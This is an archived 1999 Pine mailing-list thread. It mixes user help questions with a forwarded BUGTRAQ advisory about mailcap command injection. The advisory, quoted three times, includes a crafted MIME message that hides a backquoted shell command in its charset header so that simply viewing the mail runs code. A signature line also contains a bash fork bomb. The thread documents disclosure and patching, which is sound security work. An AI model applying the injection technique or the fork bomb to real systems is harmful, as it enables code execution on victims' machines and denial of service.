PATH=$HOME/bin:/usr/bin:/usr/ucb:/bin:/opt/local/bin:.
MAILDIR=/where/you/want/your/mail/stored
DEFAULT=/where/incoming/mail/is/stored

LOGFILE=/home/username/logfile

:0:
* ^From:.*[email protected]
/home/kwoods/mail/nameoffolderwhereyouwanttheirmailtogo

:0:
* ^From:.*[email protected]
/dev/null

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Press the delete key until there are no more "-" in the line above.
Again, remove the dotted line.

Set MAILDIR to wherever your want your mail stored.
You CAN _NOT_ use the ~username/mail syntax. The full path MUST be
spelled out, ie, /home/kwoods/mail

Set DEFAULT to wherever the incoming mail is stored.
most likely, /var/mail/username, or /var/spool/mail/username

The LOGFILE is a log, or record, of what procmail is doing with the mail.
Useful for troubleshooting. Again, spell out the full path. This file
will get VERY BIG, VERY quickly. Remember to delete is every once in a
while.

Now, if you've gotten this far, and you still need help, go to
http:///www.r-t-f-m.com I've helped you as much as I can.

--
Ken Woods
[email protected]

On Sun, 7 Feb 1999, Krishnakumar Subramanian wrote:

> Can anyone help me with getting a default procmailrc file or help me in
> writing one on my own. I get a lot of mails and have difficulty sorting
> them with pine.
> I am looking for a way to send mail with specific address to a specific
> folder on arrival. Also I would like to send all read mails to specific
> folders. I am aware that there is help in pine itself, but I am not able
> to configure it properly.
> Thanking you in advance,
> S Krishnakumar <[email protected]>
>
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

--
Ken Woods
[email protected]

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Timothy J Luoma <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: procmailrc
In-Reply-To: <[email protected]>
References: <[email protected]>
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Author: "Krishnakumar Subramanian" <[email protected]>
Date: Sun, 07 Feb 1999 19:48:48 PST
ID: <[email protected]>

> Can anyone help me with getting a default procmailrc file or help me in
> writing one on my own. I get a lot of mails and have difficulty sorting
> them with pine.

This is a question for the procmail mailing list,
[email protected]

> I am looking for a way to send mail with specific address to a specific
> folder on arrival.

basically it would be something like this:

SHELL=/bin/sh
USER=YourUSERNAMEhere
PATH=YourPathHere

# change this to the dir where PINE saves mailboxes
# if you don't know, try this command at a prompt:
#
# fgrep folder-collections ~/.pinerc |\
# sed 's/folder-collections=//g' | sed 's/\/\[\]$//g'
#
# remove the '#' from in front of those two lines

MAILDIR=$HOME/mail

:0w:
* ^Sender: PINE-INFO-owner
pine-info

:0w:
* ^From:.*kriskumar_s@hotmail\.com
From_ME

:0w:
* ^TOkriskumar_s@hotmail\.com
TO_ME

# NOTE: ^TO is special to procmail

For any followup questions, please checkout the procmail list.

> Also I would like to send all read mails to specific
> folders. I am aware that there is help in pine itself, but I am not able
> to configure it properly.

Goto the configure screen and select this option:

[ ] auto-move-read-msgs

TjL

ps -- These user questions really belong on comp.mail.pine

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From: Nicola Lenihan <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: PGP 5.0i with pine 3.92
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Hi everyone,
Can anyone help me? I am trying to get Pine working with PGP 5.0i.
This is for a project I need to have done for two weeks time. Is there
scripts available? I have found scripts such as mkpgp and pgppine but
these are for pgp 2.6.3.
I would be grateful for any help.
Thanks Nicola Lenihan

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Date: Mon, 8 Feb 1999 12:31:08 +0100 (CET)
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From: Iztok Polanic <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: remote exploit on pine 4.10 - neverending story? (fwd)
MIME-Version: 1.0
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Hello !!!

I picked this up at BUGTRAQ list.
Are you going to fix this?

Bye.

//////
xxxxxx ( o o )
xx xx /------------oOO-----O-----OOo------------\
xx xx | From: Iztok Polanic |
xxxx | E-mail: [email protected] |
xx xx | WWW: http://kotzi.home.ml.org |
xx xx | http://www.intering.si |
xx xx \-----------------------------------------/

Affected systems:
-----------------

Any Un*x system running 'pine' up to version 4.10 (latest).

Compromise:
-----------

Remote execution of arbitrary code when message is viewed.

Details:
--------

About five months ago, I reported vunerability in metamail package used
with pine. I also noticed that '`' character is incorrectly expanded by
pine. Problem has been ignored (probably noone understood what I am
talking about?;-). But no matter. An exception from /etc/mailcap:

text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
'[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput

Impact:
-------

And now, ladies and gentelmen - my old bug, reinvented. Usually, above
mailcap line is expanded to:

[...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
'[a-z]'`" = iso-8859-1)

Hmm, but take a look at this message:

************************** MIME MESSAGE FOLLOWS **************************
From: Attacker <[email protected]>
To: Victim <[email protected]>
Subject: Happy birthday
..
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset='US-ASCII'

Make a wish...

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
Content-Transfer-Encoding: BASE64
Content-Description: wish
Content-Disposition: attachment; filename="wish.c"

..it could be your last.
*************************** MIME MESSAGE ENDS ***************************

The result is:

[...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
'[A-Z]' '[a-z]'`" = iso-8859-1)

...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
executed when message is viewed.

Fix:
----

Well, it's the second time I report problems with ` in headers.
Maybe pine developers should wait a little longer ;-)

_______________________________________________________________________
Michal Zalewski [[email protected]] [ENSI / marchew] [dione.ids.pl SYSADM]
[lunete.nfi.pl SYSADM] [http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Mon, 8 Feb 1999 08:26:21 -0500
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From: Timothy J Luoma <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: BUGTRAQ >> remote exploit on pine 4.10 - neverending story?
Content-Type: text/plain
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Can we get someone @ UofW to comment on this please?

TjL

Begin forwarded message:

Message-ID: <[email protected]>
Date: Mon, 8 Feb 1999 00:22:17 +0100
Reply-To: Michal Zalewski <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Michal Zalewski <[email protected]>
Subject: remote exploit on pine 4.10 - neverending story?
To: [email protected]

Affected systems:
-----------------

Any Un*x system running 'pine' up to version 4.10 (latest).

Compromise:
-----------

Remote execution of arbitrary code when message is viewed.

Details:
--------

About five months ago, I reported vunerability in metamail package used
with pine. I also noticed that '`' character is incorrectly expanded by
pine. Problem has been ignored (probably noone understood what I am
talking about?;-). But no matter. An exception from /etc/mailcap:

text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
'[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput

Impact:
-------

And now, ladies and gentelmen - my old bug, reinvented. Usually, above
mailcap line is expanded to:

[...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
'[a-z]'`" = iso-8859-1)

Hmm, but take a look at this message:

************************** MIME MESSAGE FOLLOWS **************************
From: Attacker <[email protected]>
To: Victim <[email protected]>
Subject: Happy birthday
..

MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset='US-ASCII'

Make a wish...

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
Content-Transfer-Encoding: BASE64
Content-Description: wish
Content-Disposition: attachment; filename="wish.c"

..it could be your last.

*************************** MIME MESSAGE ENDS ***************************

The result is:

[...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
'[A-Z]' '[a-z]'`" = iso-8859-1)

...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
executed when message is viewed.

Fix:
----

Well, it's the second time I report problems with ` in headers.
Maybe pine developers should wait a little longer ;-)

_______________________________________________________________________
Michal Zalewski [[email protected]] [ENSI / marchew] [dione.ids.pl SYSADM]
[lunete.nfi.pl SYSADM] [<http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Mon, 8 Feb 1999 09:46:16 -0500 (EST)
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From: Tobey Rector <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: BCC
In-Reply-To: <[email protected]>
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X-To: Chris MacLeod <[email protected]>
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Sorry Had to do this.
See Dick, See Dick Run, She Jain, She Jane Fall.

Sorry Thank you..

Tobey Rector (609)227-4428
InterActive Network Systems P.O. Box 1429 Blackwood, NJ 08012
-- Don't you hate it when life doesn't follow the manuals?

On Fri, 5 Feb 1999, Chris MacLeod wrote:

> Date: Fri, 5 Feb 1999 10:31:59 -0600 (CST)
> From: Chris MacLeod <[email protected]>
> To: Pine Discussion Forum <[email protected]>
> Subject: Re: BCC
>
> Blind Carbon copy allows you to send a message to multiple recipients
> without them seeming who else the message was copied to.
>
> For example:
> To: [email protected]
> CC: [email protected]
> Bcc: [email protected]
>
> This will send a message to bob, jane, and steve
> Bob and Jane will see that the message was sent to bob and jane
>
> Steve will see that the message was sent to bob and jane but won't see his
> name on the list even though he still got it.
>
> Bob and Jane will not know that steve received the message.
>
>
> On Fri, 5 Feb 1999, ASHWANTH FERNANDO wrote:
>
> > Date: Fri, 5 Feb 1999 21:39:33 +0000 (IST)
> > From: ASHWANTH FERNANDO <[email protected]>
> > To: Pine Discussion Forum <[email protected]>
> > Subject: Re: BCC
> >
> > Frankly speaking , I too do not know what it means -sending a blind carbon
> > copy. In fact I am also a novice , I sek help from Pine only. Please
> > forgive me . Ashwanth fernando
> >
>
> --
> ------------------------------------------------------------------------------
> [email protected] Chris MacLeod
> Web Systems Administrator www.miscellaneous.net
>
> With blue, uncertain, stumbling buzz,
> Between the light and me,
> And then the windows failed, and then
> I could not see to see.
>
> -Emily Dickenson "I Heard A Fly Buzz When I Died"
> ------------------------------------------------------------------------------
> "Beware the penguins..." -Morphy
>
> GNUpgp Public key Available - finger [email protected]
>
>
>

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Date: Mon, 8 Feb 1999 09:59:22 -0700
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From: Daniel Sands <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: Insert vs. Overwrite?
In-Reply-To: <[email protected]>
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X-To: Pine Discussion Forum <[email protected]>
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I don't even see an option to switch between insert and overwrite. Are you
sure it is really overwriting in the message, and not just on the screen? If
they are using the wrong terminal type, any strange thing can happen.

> > The platform being used is HP/UX. I happen to have access to a similar
> > platform running 3.96 and it doesn't exhibit the behavior mentioned. This
> > doesn't answer the real question either....but it appears to rule out a pine
> > specific issue.
>
> Even for accounts that reported the problem, I logged in as the user,
> from my terminal, then I tried to use pine, and it works fine.
>
> They however complain that it doesn't work.
>
> I wonder if it has something to do with the terminal they are using?

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From: Dan Wing <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: BUGTRAQ >> remote exploit on pine 4.10 - neverending story?
In-Reply-To: <199902081326.IAA02716@ocalhost>
MIME-Version: 1.0
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[email protected]
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Diese Meldung ist im MIME-Format. Das erste Teil sollte lesbarer Text
sein, waehrend die restlichen Teile wahrscheinlich ohne MIME-faehig
Hilfsmittel unlesbar sind.

---559023410-1804928587-918498770=:2379
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 8 Feb 1999 08:26 -0500, Timothy J Luoma wrote:

I have slammed together a fix which seems to close this exploit. Diff's
attached.

Obviously my patch needs to be tested to ensure it doesn't still allow
a similar attack.

-Dan Wing
[email protected]

> Message-ID: <[email protected]>
> Date: Mon, 8 Feb 1999 00:22:17 +0100
> Reply-To: Michal Zalewski <[email protected]>
> Sender: Bugtraq List <[email protected]>
> From: Michal Zalewski <[email protected]>
> Subject: remote exploit on pine 4.10 - neverending story?
> To: [email protected]
>
> Affected systems:
> -----------------
>
> Any Un*x system running 'pine' up to version 4.10 (latest).
>
> Compromise:
> -----------
>
> Remote execution of arbitrary code when message is viewed.
>
> Details:
> --------
>
> About five months ago, I reported vunerability in metamail package used
> with pine. I also noticed that '`' character is incorrectly expanded by
> pine. Problem has been ignored (probably noone understood what I am
> talking about?;-). But no matter. An exception from /etc/mailcap:
>
> text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
> '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput
>
> Impact:
> -------
>
> And now, ladies and gentelmen - my old bug, reinvented. Usually, above
> mailcap line is expanded to:
>
> [...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
> '[a-z]'`" = iso-8859-1)
>
> Hmm, but take a look at this message:
>
> ************************** MIME MESSAGE FOLLOWS **************************
> From: Attacker <[email protected]>
> To: Victim <[email protected]>
> Subject: Happy birthday
> ...
>
> MIME-Version: 1.0
> Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"
>
> --8323328-235065145-918425607=:319
> Content-Type: TEXT/PLAIN; charset='US-ASCII'
>
> Make a wish...
>
> --8323328-235065145-918425607=:319
> Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
> Content-Transfer-Encoding: BASE64
> Content-Description: wish
> Content-Disposition: attachment; filename="wish.c"
>
> ...it could be your last.
>
> *************************** MIME MESSAGE ENDS ***************************
>
> The result is:
>
> [...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
> '[A-Z]' '[a-z]'`" = iso-8859-1)
>
> ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
> executed when message is viewed.
>
> Fix:
> ----
>
> Well, it's the second time I report problems with ` in headers.
> Maybe pine developers should wait a little longer ;-)
>
> _______________________________________________________________________
> Michal Zalewski [[email protected]] [ENSI / marchew] [dione.ids.pl SYSADM]
> [lunete.nfi.pl SYSADM] [<http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
> [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
> Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
>
>
>

---559023410-1804928587-918498770=:2379
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="mailcap.diff"
Content-Transfer-Encoding: BASE64
Content-ID: <[email protected]>
Content-Description: diff -c
Content-Disposition: attachment; filename="mailcap.diff"

KioqIC4uLy4uL3BpbmU0LjEwLW9yaWdpbmFsL3BpbmUvbWFpbGNhcC5jCVdl
ZCBOb3YgMTggMTA6MDA6MTUgMTk5OA0KLS0tIG1haWxjYXAuYwlNb24gRmVi
ICA4IDEwOjIxOjUzIDE5OTkNCioqKioqKioqKioqKioqKg0KKioqIDkxMiw5
MTcgKioqKg0KLS0tIDkxMiw5MjIgLS0tLQ0KICAJCQkgICAgKnRvKysgPSAn
XFwnOw0KICAJCQkgICAgKnRvKysgPSAnXCcnOyAgLyogYmVsb3cgd2lsbCBi
ZSBvcGVuaW5nIHF1b3RlICovDQogIAkJCX0NCisgI2lmZGVmIERBTldJTkcN
CisgCQkJaWYoKnAgPT0gJ2AnKSB7DQorIAkJCSAgKnRvKysgPSAnXFwnOw0K
KyAJCQl9DQorICNlbmRpZg0KICAJCQkqdG8rKyA9ICpwOw0KICAJCSAgICB9
DQogIA0K
---559023410-1804928587-918498770=:2379--

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Steven Ertelt <[email protected]>
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Subject: re ctrl-K
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I'm still wondering if anyone knows how to disable the ctrl-K command from
putting text that's cut onto the copy/paste clipboard. I used to use
Unix-based Pine and it didn't do that and PC Pine does.

Thanks,
Steven

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From: Marty Hoff <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: re ctrl-K
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On Tue, 9 Feb 1999, Steven Ertelt wrote:

> I'm still wondering if anyone knows how to disable the ctrl-K command from
> putting text that's cut onto the copy/paste clipboard. I used to use
> Unix-based Pine and it didn't do that and PC Pine does.

All of the UNIX pine implementations that I have used (pine 3.90 - 4.05)
paste the clipboard when you use Control-K. As far as I can tell, that is
not a configurable option, so I have no ided how the version you used to use
would have accomplished this.

Marty

--------------------------------------------
Marty Hoff [email protected]
Associate Manager of System Administration
Evolutionary Technologies International, Inc.

"Flat, drab passion meanders across the screen."
-- Mike Nelson in MST3K's _The Screaming Skull_

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From: Nicola Lenihan <[email protected]>
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Subject: PGP 5.0i with pine 3.92
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Hi everyone,
Can anyone help me? I am trying to get Pine working with PGP 5.0i.
This is for a project I need to have done for two weeks time. Is there
scripts available? I have found scripts such as mkpgp and pgppine but
these are for pgp 2.6.3.
I would be grateful for any help.
Thanks Nicola Lenihan

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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Subject: Re: [Fwd: PGP 5.0i with pine 3.92]
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Do you even use Pine as your mailer? If so, why was your Message-ID
the following?

Message-ID: <[email protected]>

The best way to figure this out is to do some research yourself. This
is one of the most frequently asked questions in comp.mail.pine and
you can read through the archives by using DejaNews
(www.dejanews.com). Or better yet, look at some of the many web pages
about Pine. You can find the URL to the University of Washington Pine
Information Center by typing ? on the Pine Main Menu and selecting
"Pine Help."

This mailing list is usually not very tolerant of questions like this.
I don't know what's happened...

--

�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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I don't remember anybody arguing for the one-per-line style. We changed it
to one-per-line and several people were upset. We changed it back and
nobody was upset. If the number of people who want one-per-line is really
small, we should leave the option out.

--
Steve Hubert <[email protected]>
Networks and Distributed Computing, Univ. of Washington, Seattle

On Fri, 5 Feb 1999, Shawn Jeffries wrote:

>
> Steve,
>
> I think the consensus is to make it a user option, if its at all possible.

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-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 10 Feb 1999, Steve Hubert wrote:

> I don't remember anybody arguing for the one-per-line style. We changed it
> to one-per-line and several people were upset. We changed it back and
> nobody was upset. If the number of people who want one-per-line is really
> small, we should leave the option out.

Well, I've users here that actually liked the 'one address per line',
that's why I've made an option out of it, back then, instead of disabling
it, which would have been easier ;-)

dna
- --
You gain prestige not by what you sell nor by what you buy, but rather
by what you freely give away to others, and how beautiful and useful
that thing is.
-- Tom Christiansen in <[email protected]>

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From: ASHWANTH FERNANDO <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: password 918218223
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Dear Pine Technical staff,
Thanks for admitting me as a subscriber <PINE - INFO ashwanth>.My present
password is 918218223 and I do not intend to change the same for the
present.
I am a student from India who has a 'Shell' -( text only account) and
as a novice, I am now only learning Internet. VSNL my server uses the
PINE programme for e-mail and I find it very useful. It is simple and
effective. However of late I tried to down load a picture from an Internet
site which did not fructify for reasons I don't know .
May be it is due to the fact that mine is a shell account. However, after
that whenever I open the PINE programme , the following message appears
invariably:- <Error saving configuration in
file"/home1/users/aswanth/home/.pinerc"Disc> Will you please explain what
this means and how I can eliminate this message from appearing in the
screen whenever I open the pine programme. . I hope you will reply to my
query. My e-mail address is :-
<[email protected]> Thank you, Sirs,

Ashwanth Fernando.

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From: George Gallen <[email protected]>
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Subject: POP3 Problem/Question
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I tried to setup a folder as a POP3 folder

When adding the folder we used:

{pop.erols.com/pop3/user=username}INBOX

After entry, the cursor went to the bottom of the screen
and did nothing, If I pressed <ENTER>, then it loaded the
previous folder (a local INBOX), no error messages, just nothing.

I also tried {pop.erols.com/pop3} hoping username would
come up.

I checked the configuration options thinking I had to
turn on the POP3, but didn't see anything.

One thought I had was possibly our firewall may be blocking
outgoing pop3 requests? But before I submitted a "request" to
ask if that were the case, I'd check to make sure everyhing
was setup correctly. Is there anyway to test the above
thoeory? that is, is there a pop3 server that is known to
work that I could check against?

Aside from using fetchmail (which I'm looking into at present).

Using Pine 4.03

George Gallen
[email protected]

-----Original Message-----
From: George Gallen [mailto:[email protected]]
Sent: Friday, February 05, 1999 4:01 PM
To: Pine Discussion Forum
Subject: RE: Erols and IMAP (now a pop3 question)

Never mind....spoke with erols, they only allow pop3
access. Do I need to add anything to my unix system to
allow pine to access mailboxs via pop3?

George Gallen
[email protected]

-----Original Message-----
From: George Gallen [mailto:[email protected]]
Sent: Friday, February 05, 1999 3:34 PM
To: Pine Discussion Forum
Subject: Erols and IMAP

We have someone in our group, that wants to access their
email from their erols account using pine (on a unix system).

Does anyone know if erols has the ability to IMAP access to
their members mail? I tried erols.com as the host, but our
DNS shot that one down. Would the username/password be the
same as thier login username/password?

We are using pine 4.05.

Thanks
George Gallen
[email protected]

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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: George Gallen <[email protected]>
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Ok. that worked, so it's not our firewall.

I read through the FAQ, and below seemed to be the
correct method. I'm in the midst of loaded and playing
with fetchmail, but in the mean time, I'd still like
to get pine to do it (if it can).

George

-----Original Message-----
From: Karl Zander [mailto:[email protected]]
Sent: Thursday, February 11, 1999 2:15 PM
To: George Gallen
Cc: Pine Discussion Forum
Subject: Re: POP3 Problem/Question

George,

RE: testing a POP3 connection. Do you have
access to telnet? Can you telnet to
pop.erols.com on port 110? A POP3 server
should answer. Type quit to exit it.
If you get no reply, check your firewall
and other connections.

Karl Zander

On Thu, 11 Feb 1999, George Gallen wrote:

> I tried to setup a folder as a POP3 folder
>
> When adding the folder we used:
>
> {pop.erols.com/pop3/user=username}INBOX
>
> After entry, the cursor went to the bottom of the screen
> and did nothing, If I pressed <ENTER>, then it loaded the
> previous folder (a local INBOX), no error messages, just nothing.
>
> I also tried {pop.erols.com/pop3} hoping username would
> come up.
>
> I checked the configuration options thinking I had to
> turn on the POP3, but didn't see anything.
>
> One thought I had was possibly our firewall may be blocking
> outgoing pop3 requests? But before I submitted a "request" to
> ask if that were the case, I'd check to make sure everyhing
> was setup correctly. Is there anyway to test the above
> thoeory? that is, is there a pop3 server that is known to
> work that I could check against?
>
> Aside from using fetchmail (which I'm looking into at present).
>
> Using Pine 4.03
>
> George Gallen
> [email protected]
>
> -----Original Message-----
> From: George Gallen [mailto:[email protected]]
> Sent: Friday, February 05, 1999 4:01 PM
> To: Pine Discussion Forum
> Subject: RE: Erols and IMAP (now a pop3 question)
>
>
> Never mind....spoke with erols, they only allow pop3
> access. Do I need to add anything to my unix system to
> allow pine to access mailboxs via pop3?
>
> George Gallen
> [email protected]
>
> -----Original Message-----
> From: George Gallen [mailto:[email protected]]
> Sent: Friday, February 05, 1999 3:34 PM
> To: Pine Discussion Forum
> Subject: Erols and IMAP
>
>
> We have someone in our group, that wants to access their
> email from their erols account using pine (on a unix system).
>
> Does anyone know if erols has the ability to IMAP access to
> their members mail? I tried erols.com as the host, but our
> DNS shot that one down. Would the username/password be the
> same as thier login username/password?
>
> We are using pine 4.05.
>
>
> Thanks
> George Gallen
> [email protected]
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
> --
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

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From: Steve Hubert <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Bug: detokenizing backslashes
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Yes, the backslash stuff was botched. We'll fix it for pine 4.20.
I think we'll make it so you don't have to escape anything, instead of
making you have to put extra backslashes in. Thanks.

--
Steve Hubert <[email protected]>
Networks and Distributed Computing, Univ. of Washington, Seattle

On Sat, 6 Feb 1999, Marcin 'Qrczak' Kowalczyk wrote:

> Thanks for pine 4.10!
>
> detoken_src() in pine/reply.c makes multiple passes until nothing changes.
> It thus gives incorrect results with backslashes: e.g. \\_ is transformed
> into \_ and then finally into _. While _token_ resolving can be repeated,
> backslash removing can't. I guess it should be done only once at the end,
> or I can't use my signature without hacking pine :-)
>
> Should I try to make a patch?

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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: So-called "remote exploit in pine" (fwd)
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--4100290-15032-918699671=:-197051
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.WNT.4.10.9902111336462.-237495@tegdell-ndc>

fyi

-teg

---------- Forwarded message ----------
Date: Wed, 10 Feb 1999 18:21:11 -0800 (Pacific Standard Time)
From: Pine Development Team <[email protected]>
To: [email protected]
Organization: University of Washington; Computing & Communications
Subject: So-called "remote exploit in pine"

Many of you have inquired about a recent widely-distributed message
describing a "remote exploit in pine", specifically, a "vunerability in
metamail package used with pine" and a claim that the '`' character "is
incorrectly expanded by pine".

We believe the following to be true:

o There is indeed a vulnerability in the default *mailcap* file
distributed with the popular metamail MIME-support package.

o This same mailcap file has in the past been included in Pine
distributions as a sample; however, this sample file is not used by
Pine unless it is manually installed and renamed.

o While the metamail package *can* be used with Pine, Pine does not
*require* the installation of metamail.

o If a site chooses to install metamail, they should definitely expunge
the dangerous entries from the default mailcap file. Such a corrected
mailcap file is attached.

o If correcting the system mailcap file is not immediately possible,
users may wish to set Pine's "mailcap-search-path" variable to a
personal mailcap file path. (See Pine's Main/Setup/Config screen.)

o Everyone should beware of offered workarounds in the form of Pine
patches that simply insert the shell-escape character before any
substituted back-quotes, as this only results in moving the problem
down one level of shell-nesting.

o PC-Pine users are not vulnerable to these dangerous mailcap entries.

We do not agree that the '`' character "is incorrectly expanded by pine".
Rather, we believe that Pine correctly implements RFC-1524. However, it
is possible to modify Pine to preclude mailcap parameter substitution and
thereby avoid mailcap risks at sites where faulty mailcap files may be
installed. A patch to do this is attached. Obviously, this patch will
also break any legitimate mailcap entries that depend on parameter
substitution.

While one could modify Pine to guard against the particular exploit
permitted by the mailcap entries in question, it is very difficult to
conceive of a truly safe "paranoid mode" other than disabling parameter
substitution entirely. However, we suspect most people will find it far
easier to remove any unsafe entries from their mailcap configuration file.

Sincerely,

Pine Development Team
University of Washington

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Content-ID: <[email protected]>
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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Mike Miller <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: new behavior of pine in pipe
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In the last version of Pine I used (probably 4.05), and in earlier
versions than that, I could include pine in a pipe and it would take the
standard input and run with it. Now (4.10) it asks me if I want to open a
postponed message. So now I have to hit 'n'. Yes, I can hit 'n', but I'd
rather have it work like it used to. Is there a command line argument to
force Pine to take the stdin and not prompt me?

Maybe this change was just a mistake.

(I'm using UNIX Pine precompiled for Solaris from the UW ftp site.)

Regards,

Mike

--
Michael B. Miller
University of Missouri--Columbia
http://taxa.psyc.missouri.edu/~mbmiller/

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From: Warren Jones <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Seeing double (folders on Exchange server)
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I've noticed an odd situation when using pine 4.05 with IMAP to
read mail from an MS Exchange server. When I look at my folder
collection on the server, I see every folder accompanied by a
matching (empty) directory, something like this:

PINE 4.05 FOLDER LIST Folder: INBOX 23 Messages

Folders on evtexch0.tc.fluke.com in home directory
--------------------------------------------------------------------
INBOX received received/ INBOX/
Calendar Calendar/ Contacts Contacts/
Deleted Items Deleted Items/ Journal Journal/
Notes Notes/ Outbox Outbox/
Sent Items Sent Items/ Tasks Tasks/

Each folder and its matching directory are really the same object --
renaming or deleting a directory simultaneously renames of deletes
the corresponding folder.

I just picked up pine 4.10, and found that this problem is partially
fixed. Now only the INBOX is duplicated:

PINE 4.10 FOLDER LIST Folder: INBOX 23 Messages

Folders on evtexch0.tc.fluke.com in home directory
--------------------------------------------------------------------

INBOX/ INBOX received[/]
Calendar[/] Contacts[/] Deleted Items[/]
Journal[/] Notes[/] Outbox[/]

I'm not sure why all folders (except the INBOX) are labeled with "[/]".
Does anyone know the significance of this, or of the duplicate INBOX?

Both pine 4.05 and 4.10 behave normally with folders on a Unix-based
IMAP server, and the folders on the Exchange server show up normally
with both Netscape 4.05 and the Outlook client. We're running pine
under Solaris 2.5. Our Exchange server is version 5.5, service pack 2.

Thanks in advance for any insights.

--------------------------------------------------------------------
Warren Jones | To keep every cog and wheel is the first
Fluke Corporation | precaution of intelligent tinkering.
Everett, Washington, USA | -- Aldo Leopold
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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Seeing double (folders on Exchange server) (fwd)
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fyi (since Warren's query was sent here too, I'll send this reply along as
well assuming others may also be curious about the same thing.)

-teg

---------- Forwarded message ----------
Date: Fri, 12 Feb 1999 15:00:30 -0800
From: Terry Gray <[email protected]>
Newsgroups: comp.mail.pine
Organization: University of Washington; Computing & Communications
Subject: Re: Seeing double (folders on Exchange server)

Warren,
On some servers, names can simultaneously refer to both a mailbox and a
folder collection. Pine needs to give you a way to indicate which version
of the name you want to open. There were complaints about listing the
"directory" or versions of names separately (even though there was an
option to put them all last), so the display was changed in 4.10 to
combine the entries into a more compact notation.

The INBOX duplication could be considered a bug :)

-teg

On 12 Feb 1999, Warren Jones wrote:

> I've noticed an odd situation when using pine 4.05 with IMAP to
> read mail from an MS Exchange server. When I look at my folder
> collection on the server, I see every folder accompanied by a
> matching (empty) directory, something like this:
>
> PINE 4.05 FOLDER LIST Folder: INBOX 23 Messages
>
> Folders on evtexch0.tc.fluke.com in home directory
> --------------------------------------------------------------------
> INBOX received received/ INBOX/
> Calendar Calendar/ Contacts Contacts/
> Deleted Items Deleted Items/ Journal Journal/
> Notes Notes/ Outbox Outbox/
> Sent Items Sent Items/ Tasks Tasks/
>
> Each folder and its matching directory are really the same object --
